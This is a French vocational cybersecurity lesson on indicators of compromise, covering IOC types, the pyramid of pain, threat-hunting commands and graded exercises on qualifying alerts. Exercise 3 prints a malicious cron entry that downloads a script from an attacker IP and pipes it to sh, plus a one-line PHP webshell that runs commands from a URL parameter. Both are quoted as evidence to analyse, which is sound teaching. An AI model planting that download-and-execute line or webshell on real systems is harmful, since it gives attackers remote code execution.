Chapitre 515 minIntermédiaire
Indicateurs de compromission (IOC) : détecter une attaque
Par Josselyn C., prof de BTS SIO. Mis à jour le .
À la fin de ce chapitre, tu sauras
- définir un indicateur de compromission et le distinguer d'un indicateur d'attaque ;
- classer des IOC du plus facile au plus coûteux à contourner pour l'attaquant ;
- rechercher un IOC dans des journaux et sur un poste ;
- qualifier une alerte : incident confirmé ou faux positif.
4 exercices corrigés1 schéma
Un indicateur de compromission (IOC, de l'anglais Indicator of Compromise) est une trace technique qui signale qu'un système a probablement été attaqué : l'empreinte d'un fichier malveillant, une adresse IP ou un nom de domaine utilisé par des attaquants, une clé de registre créée par un programme malveillant. Ce chapitre présente les types d'IOC, leur valeur pour la défense, où les trouver, comment les rechercher dans les journaux et sur les machines, et comment s'en servir pour qualifier une alerte.
IOC et IOA : la trace et le comportement
- Un indicateur de compromission est une donnée précise et statique : « le fichier dont l'empreinte SHA-256 est
a7da3a3e…», « l'adresse 198.51.100.23 ». Sa présence prouve presque à coup sûr un lien avec une attaque connue. Mais il ne détecte que ce qu'on connaît déjà, et souvent après coup. - Un indicateur d'attaque (IOA, Indicator of Attack) décrit un comportement : « un traitement de texte lance PowerShell, qui télécharge un fichier », « un compte lit 4 000 fichiers en trois minutes ». Il ne dépend pas d'un outil précis et repère aussi des attaques nouvelles, au prix de plus de faux positifs.
Les deux se complètent : les IOC servent à chercher vite des traces connues sur tout le parc, les IOA à repérer ce qu'aucune liste ne contient encore.
Les types d'IOC
| Type | Exemple | Où le chercher |
|---|---|---|
| Empreinte de fichier (SHA-256, SHA-1, MD5) | a7da3a3e30f5cbc9e0df84e6755b33d30d18c42b8035a393b832cc6dc2f498db | Fichiers des postes et serveurs, EDR, antivirus |
| Adresse IP | 198.51.100.23 | Pare-feu, proxy, journaux des serveurs, SIEM |
| Nom de domaine | cmd-update-win.example | Journaux DNS, proxy, messagerie |
| URL | http://198.51.100.23/x | Proxy, journaux web, courriels |
| Nom ou chemin de fichier | /tmp/.x, C:\PerfLogs\P64.exe | Disques, EDR |
| Clé de registre | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost | Registre des postes Windows |
Tâche planifiée, service, entrée cron | Tâche « MiseAJour » lançant un exécutable dans %TEMP% | Planificateur, crontab, événements 4698 et 7045 |
| Compte | Compte support2 créé hors procédure | Annuaire, événements 4720 |
| Objet ou expéditeur de courriel | « Relance facture impayée », compta@fournisseur-factures.example | Passerelle de messagerie |
| Agent utilisateur | sqlmap/1.9, WindowsPowerShell/5.1 sur une page de connexion | Journaux web |
La pyramide de la douleur
Tous les IOC n'ont pas la même valeur. La pyramide de la douleur, proposée en 2013 par l'analyste David Bianco, les classe selon l'effort qu'il faut à l'attaquant pour les changer, et donc selon la gêne que tu lui causes en les bloquant.
La conséquence est pratique. Bloquer une empreinte ou une adresse IP est utile et immédiat, mais l'attaquant s'adapte en quelques minutes. Détecter un comportement (une force brute suivie d'un succès, un compte qui s'ajoute aux administrateurs, un outil qui vide la mémoire du processus d'authentification de Windows) le gêne beaucoup plus, parce qu'il doit changer sa méthode.
Où trouver des IOC
- Les bulletins du CERT-FR (
cert.ssi.gouv.fr) : les alertes signalent une menace en cours d'exploitation, les avis une vulnérabilité et son correctif, et les rapports sur la menace décrivent des modes opératoires d'attaquants avec leurs IOC. Le sujet SISR 2026 fournit l'alerte CERTFR-2021-ALE-022 sur Log4j, qui donne les chaînes à chercher dans les journaux. - Les plateformes de partage comme MISP, un logiciel libre de partage d'indicateurs utilisé par de nombreux CERT et entreprises, qui échange les IOC dans des formats standard (STIX).
- Les éditeurs de sécurité et les projets communautaires, qui publient listes et règles.
- Tes propres incidents : chaque IOC relevé chez toi sert à chercher ailleurs dans ton parc, et peut être partagé avec ton CSIRT régional.
Deux formats de règles sont utiles à connaître de nom : YARA décrit des motifs pour reconnaître des fichiers malveillants, Sigma décrit des motifs de détection dans les journaux, de façon indépendante du SIEM utilisé.
Quand on partage des IOC, on indique leur diffusion autorisée avec le TLP (Traffic Light Protocol) : TLP:RED (destinataires nommés uniquement), TLP:AMBER+STRICT (l'organisation du destinataire seulement), TLP:AMBER (l'organisation du destinataire, et ses clients si nécessaire), TLP:GREEN (la communauté, pas de publication) et TLP:CLEAR (diffusion libre).
Rechercher un IOC
Une empreinte de fichier. On calcule l'empreinte du fichier suspect et on la compare à la liste.
sha256sum /tmp/.x
a7da3a3e30f5cbc9e0df84e6755b33d30d18c42b8035a393b832cc6dc2f498db /tmp/.x
Get-FileHash -Algorithm SHA256 C:\Users\jperrin\Downloads\facture.exe
Une adresse ou un domaine. On cherche dans les journaux du pare-feu, du proxy et du DNS, de préférence dans le SIEM pour couvrir tout le parc et toute la période :
# Sur le collecteur : quelles machines ont parlé à 198.51.100.23 ?
grep -rl "198.51.100.23" /var/log/central/
Une persistance sur Linux. On regarde les endroits où un attaquant s'installe pour revenir :
crontab -l -u deploy # tâches planifiées du compte
ls -la /etc/cron.d/ /etc/cron.daily/ # tâches système
systemctl list-unit-files --state=enabled # services activés au démarrage
cat /home/deploy/.ssh/authorized_keys # clés SSH autorisées
ls -la --time-style=full-iso /tmp /var/tmp /dev/shm # fichiers déposés, souvent cachés (nom en .)
ss -tnp # connexions réseau en cours et processus associés
Une persistance sous Windows.
# Programmes lancés à l'ouverture de session
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run',
'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run'
# Tâches planifiées hors de celles de Microsoft
Get-ScheduledTask | Where-Object TaskPath -notlike '\Microsoft\*' | Select-Object TaskName, TaskPath, State
# Services dont l'exécutable est dans un dossier temporaire ou utilisateur
Get-CimInstance Win32_Service | Where-Object { $_.PathName -match 'Temp|Users|PerfLogs' } |
Select-Object Name, PathName, StartMode
Exemple : chasser les traces de l'intrusion sur srv-web
Après l'analyse des journaux (chapitre 3), Léa dresse la liste des IOC de l'incident, puis les cherche partout.
| IOC | Type | Résultat de la recherche |
|---|---|---|
| 203.0.113.45 | Adresse IP source de la force brute | Présente uniquement dans le journal SSH de srv-web |
| 198.51.100.23 | Adresse IP du serveur de téléchargement | srv-web à 03:02:45 ; la tentative Log4Shell du matin la cite ; aucun autre serveur ne l'a contactée |
/tmp/.x, SHA-256 a7da3a3e…f498db | Fichier et empreinte | Présent sur srv-web seulement |
Ligne */10 * * * * /tmp/.x | Entrée cron de deploy | Persistance : le fichier se relance toutes les 10 minutes |
| Clé SSH inconnue ajoutée à 03:03 | Ligne de authorized_keys de deploy | Persistance : l'attaquant peut revenir sans mot de passe |
Compte deploy | Compte compromis | Utilisé uniquement sur srv-web ; son mot de passe n'était réutilisé nulle part |
Conclusion : la compromission est limitée à srv-web, avec deux persistances à supprimer pendant l'éradication. Sans ces IOC, l'équipe aurait changé le mot de passe de deploy en croyant l'affaire réglée, et l'attaquant serait revenu par sa clé SSH.
Qualifier l'alerte : incident confirmé ou faux positif ?
La qualification répond à une question simple, avec des preuves : y a-t-il eu compromission ?
- Relever ce que dit l'alerte : quoi, quand, quelle machine, quel compte.
- Comparer aux IOC disponibles (bulletins, rapports, incidents passés) et aux comportements normaux de la machine et de l'utilisateur.
- Chercher les traces qui confirment ou infirment : connexions, fichiers, processus, persistances.
- Conclure : incident confirmé (avec les IOC qui le prouvent), faux positif (avec l'explication), ou indéterminé (avec les vérifications restantes et une surveillance renforcée en attendant).
Côté SLAM : les IOC d'une application
Une application web compromise laisse aussi des traces propres :
- un fichier inattendu dans le dossier de téléversement ou dans le code (
upload/image.phpqui exécute un paramètrecmd: une porte dérobée web, ou webshell) ; - des fichiers du code modifiés :
git statussur le serveur, ou une comparaison des empreintes avec la version livrée, le révèle ; - des comptes administrateurs créés dans la base de l'application, des jetons d'API inconnus ;
- une dépendance remplacée par une version piégée (attaque de la chaîne d'approvisionnement), visible dans le fichier de verrouillage (
composer.lock,package-lock.json).
Hugo vérifie donc aussi le code et les données du site, pas seulement le système.
À l'E7
- SISR, métropole 2023 (alors E6, U6), cas de la Ville du Parc : la question C1.1 demande la qualification de l'alerte (incident confirmé ou faux positif) en indiquant les indicateurs de compromission, à partir des journaux du proxy, d'une liste d'IOC d'un chargeur de maliciel et d'une liste d'IOC du rançongiciel Ryuk (domaines de commande et contrôle, noms et chemins de fichiers, empreinte MD5).
- SISR, métropole 2022 (alors E6, U6), cas CalédoBank : à partir d'une alerte du CERT-FR sur le cheval de Troie Emotet, la question A2.1 fait détailler la recherche de traces permettant d'établir si le système est infecté, puis proposer trois mesures de réduction du risque.
- SISR, métropole 2026 (U7), cas SPARCLE : la question A1.5 fait préciser les critères qui identifient les cibles potentielles de la vulnérabilité Log4j (une application Java utilisant une version vulnérable de la bibliothèque) et désigner les autres serveurs exposés.
Pour aller plus loin. Les règles de détection d'un IDS comme Suricata, qui transforment un IOC en alerte, sont expliquées dans le chapitre IDS et IPS du cours Cybersécurité des infrastructures.
Exercices
Exercice 1 sur 4 Classer des indicateurs Réussi À revoir
Pour chaque élément, donne son type et son étage dans la pyramide de la douleur, puis dis lequel tu bloquerais en premier et lequel te protège le plus longtemps.
103.208.86.59f2b…c41e(SHA-256 d'un exécutable)winsystem-update.example- Tout exécutable lancé depuis
C:\PerfLogs\qui crée une tâche planifiée - Le recours systématique à l'outil d'administration à distance
PsExecpour se propager
Voir la réponseMasquer la réponse de l'exercice 1
- Adresse IP : étage « facile ».
- Empreinte de fichier : étage « trivial ».
- Nom de domaine : étage « simple ».
- Trace système, voire comportement : étage « agaçant » (chemin et artefact) ; formulée comme règle de détection, elle s'approche des techniques.
- Technique de mouvement latéral (une procédure de l'attaquant) : sommet, « très difficile ».
En premier : bloquer l'IP, le domaine et l'empreinte, c'est immédiat et sans risque (pare-feu, proxy et DNS, antivirus ou EDR). Le plus durable : détecter les éléments 4 et 5, parce que l'attaquant devra changer de méthode pour y échapper ; mais ces règles demandent plus de réglages pour éviter les faux positifs (des administrateurs utilisent aussi PsExec).
Tu avais trouvé ?
Exercice 2 sur 4 Qualifier une alerte Réussi À revoir
Un comptable de la mairie de Saint-Aubin (fictive) signale avoir cliqué sur un lien dans un courriel « Avis de virement ». Le poste a été débranché. Tu disposes de :
-
journal du proxy : à 10:42 et 10:43, connexions du poste vers
172.67.205.11(domainemeronekis.space) puis vers34.217.209.239en HTTPS ; -
liste d'IOC publiée pour le chargeur de maliciel « BazarLoader » :
172.67.205.11,meronekis.space,34.217.209.239,103.208.86.5; -
liste d'IOC du rançongiciel que ce chargeur installe ensuite : empreinte MD5
544900a5…bc688f, fichiersxxx.exe,P64.exe, dossierC:\PerfLogs\; -
sur le poste : aucune de ces empreintes, aucun de ces fichiers.
- Est-ce un incident confirmé ou un faux positif ? Justifie avec les IOC.
- Que cherches-tu ensuite, et où ?
Voir la réponseMasquer la réponse de l'exercice 2
- Incident confirmé. Le poste a contacté trois indicateurs de la liste BazarLoader (
172.67.205.11,meronekis.space,34.217.209.239) une minute après le clic : le lien a déclenché le téléchargement du chargeur, qui a joint son serveur de commande. L'absence des fichiers du rançongiciel signifie seulement que l'étape suivante n'a pas (encore) eu lieu, peut-être grâce au débranchement rapide. Prise seule,172.67.205.11prouverait peu : c'est une adresse d'un réseau de diffusion de contenu, partagée par de nombreux sites. C'est sa concordance avec le domainemeronekis.spaceet avec34.217.209.239, dans la minute qui suit le clic, qui fait le faisceau d'indices. - La suite :
- chercher dans les journaux du proxy, du pare-feu et du DNS tous les postes qui ont contacté l'un des quatre indicateurs, dont
103.208.86.5, pas encore vu ; - chercher dans la messagerie tous les destinataires du même courriel (objet, expéditeur, lien) et les liens cliqués ;
- sur le poste (à partir d'une copie, après collecte des preuves) : persistances (clés
Run, tâches planifiées, services), processus et fichiers récents ; - bloquer les quatre indicateurs sur le proxy et le pare-feu ;
- vérifier les connexions faites avec le compte du comptable depuis 10:42.
Tu avais trouvé ?
Exercice 3 sur 4 Trouver les persistances Réussi À revoir
Sur un serveur Debian suspect, Léa obtient :
$ crontab -l -u www-data
*/5 * * * * curl -s http://198.51.100.23/u.sh | sh
$ ls -la --time-style=+%F_%T /var/www/html/upload/
-rw-r--r-- 1 www-data www-data 184211 2026-09-02_10:15:31 catalogue-2026.pdf
-rw-r--r-- 1 www-data www-data 68 2026-10-13_09:44:02 img.php
-rw-r--r-- 1 www-data www-data 91822 2026-10-01_16:02:47 table-chene.jpg
$ cat /var/www/html/upload/img.php
<?php if (isset($_GET['c'])) { system($_GET['c']); } ?>
- Relève les IOC et explique chacun.
- Par quelle faille l'attaquant a-t-il probablement déposé
img.php? Que fais-tu pour le confirmer ?
Voir la réponseMasquer la réponse de l'exercice 3
- IOC :
- Tâche
crondu comptewww-data: toutes les 5 minutes, elle télécharge un script depuis 198.51.100.23 et l'exécute. Persistance et canal de commande : l'attaquant peut changeru.shà volonté. Le compte du serveur web n'a aucune raison d'avoir une tâche planifiée. - Adresse 198.51.100.23 : serveur de l'attaquant, à bloquer et à chercher dans tout le parc.
- Fichier
img.phpdans le dossier de téléversement, créé le 13 octobre à 09:44:02, 68 octets : une porte dérobée web. Son code exécute sur le serveur toute commande passée dans le paramètrec(img.php?c=id).
- Le fichier est dans
upload/: le formulaire de téléversement accepte probablement des fichiers.php(pas de contrôle du type ni de l'extension), et le serveur exécute le PHP dans ce dossier. Pour confirmer : chercher dans le journal d'accès Apache les requêtesPOSTvers la page de téléversement autour de 09:44:02, puis les requêtesGET /upload/img.php?c=...(elles montrent les commandes passées et leur adresse source). Correctif : n'accepter qu'une liste blanche de types vérifiés côté serveur, renommer les fichiers, stocker hors de la racine web ou interdire l'exécution de PHP dansupload/.
Tu avais trouvé ?
Exercice 4 sur 4 Le réflexe VirusTotal Réussi À revoir
Un collègue veut déposer sur un site public d'analyse de fichiers la pièce jointe Excel reçue par la comptable, « pour voir si c'est un virus ». Que lui conseilles-tu ?
Voir la réponseMasquer la réponse de l'exercice 4
De chercher d'abord par empreinte (Get-FileHash ou sha256sum, puis recherche de la valeur sur le service) sans déposer le fichier. Déposer le fichier le rend consultable par les abonnés du service : s'il s'agit d'un vrai document de l'entreprise, ou s'il contient des noms ou des identifiants, c'est une divulgation ; et l'attaquant, s'il surveille le service, apprend que sa charge est découverte. Si l'analyse du fichier lui-même est nécessaire, elle se fait dans un environnement isolé (machine virtuelle sans réseau, bac à sable interne) ou par le prestataire de réponse à incident.
Tu avais trouvé ?